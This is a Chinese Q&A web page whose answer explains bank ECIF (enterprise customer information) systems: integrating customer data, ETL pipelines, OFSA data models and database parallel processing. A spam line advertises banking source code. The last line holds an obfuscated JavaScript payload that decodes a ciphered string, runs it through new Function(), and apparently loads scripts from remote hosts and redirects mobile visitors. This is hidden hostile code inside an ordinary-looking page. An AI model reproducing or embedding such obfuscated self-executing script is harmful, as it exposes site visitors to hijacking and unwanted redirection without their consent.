推荐回答(3个)
你好,很荣幸为你解答。
ECIF系统属于分析型客户关系管理(CRM)系统,其核心功能包括:客户单一视图展现、经营分析和辅助决策分析、数据挖掘和预测。
随着银行业全面对外开放,银行之间全方位的竞争,不但体现在金融产品的创新上,还体现在内部的经营管理上。其基础和实质都是如何做到“以客户为中心”,更好地为客户服务。因此要求各银行最大限度地整合和挖掘客户信息,从深度和广度两方面分析,进而为银行战略方针的制定提供数据支持。企业级客户单一视图系统(ECIF)应用而生,下面以某银行ECIF系统的建设为例,分析ECIF系统的主要功能和技术实现要点。
一、ECIF的主要功能
ECIF一般采用T+1的方式整合不同系统,展现客户信息全貌,属于银行后台的管理应用。系统主要功能如图1所示。
1.整合客户信息的范围
ECIF系统主要业务功能是整合客户的各类信息,并对部分信息进行分析加工。从客户视角出发,客户信息涵盖客户的基本信息、账户信息、 签约信息、客户关系信息、以及客户在银行的利润贡献。
客户基本信息:ECIF集中存放并展现全行客户的基本信息,包括个人客户、企业客户、金融机构客户以及客户群的虚拟客户。涵盖了客户的通用、财务、风险及特征等信息。
客户账户信息:账户信息指客户在银行的所有账户情况,可能分散在各应用产品中。ECIF抽取、转换和整合(ETL)的过程需要对原系统的账户信息按照一定维度进行加工。前端可以分层展现,也可以利用报表工具用文字或图表等方式展现客户某类产品的历史余额变化。
客户关系信息:集团客户各成员之间的关系一直是银行经营层和管理层关注的重点。ECIF系统需要强大的追溯功能,支持以图表、文字等方式展现某一集团客户成员之间的关系概览,如存在的控股关系、母子公司关系。
客户签约产品信息:客户签约产品信息的内容主要包括客户额度合约、贷款合约、抵质押合约、保证合约、客户签约产品列表等。
分析信息:按照一定的业务分析模型分析客户对银行的利润贡献度,如内部资金价格转移、成本分摊计算客户对银行利息收入、利息支出、中间业务净收入、净利润等指标。
2.客户信息的挖掘
通过信息整合,ECIF系统可通过商务智能工具对客户信息进行多种维度、多种层次的数据分析,包括向下钻取、数据切片和旋转以及交互式的图形分析能力,使用户可从任意角度观察和研究客户信息,并支持创建完美的即席报表。而且支持用户从数据库中精心筛选“黄金”数据创建成多维数据立方体。立方体按视察业务的多维因素分析模型(OLAP)设计创建,用户可辨明趋势、跟踪业务运作、创建高效的统计汇总报表。
在客户信息整合的基础上,利用挖掘工具对客户进行VIP筛选。从大量客户信息中细分出普通客户、普通VIP客户、黄金VIP客户等,并为VIP客户提供差异化服务。
二、ECIF系统应用架构
ECIF系统在采用OFSA套件的金融数据模型(OFDM)基础上实现。如图2所示,系统采用多层、可扩展框架结构,整体包括数据导入(ETL)、数据管理和数据存取层三大部分。
1.数据导入
主要采用ETL工具,通过数据抽取、转换、并最后加载到OFSA基础数据库OFDM。具体分为如下几个区域。
文件预处理:接收数据下传平台数据,并完成诸如数据文件校验、拆分等相关预处理工作。
临时区域:加载数据的临时存储,并完成ETL工作中的各种复杂计算和转换工作。例如各种账户和数据的平均余额计算、VIP客户识别等工作。
OFDM区域:OFDM为ECIF数据存储模型存储区,为满足银行的各种分析和展现需求提供数据基础。
为满足ETL大批量数据处理的高性能、高吞吐量需求,整个ETL流程贯穿了大批量、并行处理的思路。利用了数据库中的并行处理技术、外部表技术、合并语句批量、并行更新技术、多表插入技术、直接插入技术、批量并行加载技术、分区交换技术、表空间迁移等技术。
非分区表的并行处理:非分区表在执行并行查询语句时,根据该表的并行度 (DOP)定义或者根据语句的并行处理提示(/*+ PARALLEL() */),自动从并行处理缓冲池中分配相应数量的并行进程进行并行操作,并行处理协调器自动将各并行子进程处理的结果合并返回给客户,并释放并行子进程返回到缓冲池中。
分区级的并行处理:在对分区表进行处理时,自动为每个分区分配一个进程,达到并行处理的目的。分区之间可并行处理,自动根据资源使用情况和数据分布情况,自动在分区内部进行并行处理,提高大批量数据处理的吞吐量。
应用机群(RAC)节点间的并行处理:在RAC结构中,不仅单节点内可充分利用SMP服务器的多CPU、大内存的处理能力进行并行处理,而且当单节点不能满足处理需求时,RAC通过INSTANCE_GROUPS、PARALLEL_INSTANCE_GROUP等参数的设置,可将大作业分配到多个节点进行并行处理,充分利用硬件资源,提高大数据量处理的速度和吞吐量。
2.数据管理
OFDM数据库模型涉及的数据表主要有以下6类。
OFSA总账表:OFSA总账表用于保存金融数据汇总信息、统计信息、历史信息、和某一时间点的信息。OFSA系统中只有惟一的LEDGER_STAT表。表中的每一行均可找到期末、平均余额和统计要素。但外围系统数据导入此表时必需先导入一张接口表,再通过API由接口表导入总账表。
金融工具表:OFDM中存在多个金融工具表,用于记录金融产品账户级信息,包括存款、借款、信用卡等。
交易信息表:存放基础数据表的细节交易数据,如存贷款的明细交易层数据、中间业务的交易数据。
客户信息表:主要用于对客户关系的分析应用,能够提供各类客户关系及盈利能力分析报告。
OFDM基础数据表:OFDM基础数据表是用于存放OFSA系统的参数表,如利率曲线表、汇率曲线表、树结构定义等。
码表:支持上述各表的标准化代码表,如客户经理码表、行业码表等。
3.数据存取
基于商业智能工具所提供的强大展示能力,ECIF可以集中存放并展示全行各类客户的信息。通过ECIF系统,用户可查看客户的信息全貌,包括其历史信息。对于未保留历史的客户基本信息用特殊颜色或特殊字体标示,查询结果数据都可以用饼状图、曲线图、趋势图等图表形式灵活展现。
ECIF系统属于分析型客户关系管理(CRM)系统,其核心功能包括:客户单一视图展现、经营分析和辅助决策分析、数据挖掘和预测。银行实施分析型CRM项目建设,关键在于掌握客户信息,只有具备完整的客户信息,才能全面启动客户关系管理工作。
0ECIF(Enterprise Customer Information Facility):企业客户信息工厂。是指对企业的客户信息进行整合,形成集中、全面的客户信息。
00通常,企业的信息系统都是分别建成的,尤其是在初期,企业没有一个很好的发展规划,只根据应用的目的分别建立了一些独立的系统。在这些系统中,都有着各自维护的客户信息。
00随着企业的发展,规模不断扩大,业务逐渐增多,这样的独立的系统就带来了问题:如何有效的对现有的、分散在各个系统当中的客户信息进行分析并加以利用。
00当出现这种情况后,企业就会对客户信息进行统一的梳理,将分散在各个系统当中的信息进行归纳和整理,对同一个客户进行归并,并将归纳整理后的信息进行统一的存储。这就形成了企业的客户信息工厂的概念。
00目前许多大的IT公司对此都有自己的解决方案,例如IBM的客户主数据管理等。
java银行核心业务系统,图形柜面,流程银行,互联网金融平台,信托源码,信托综合报表,综合柜员终端源码,开发文档齐全。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();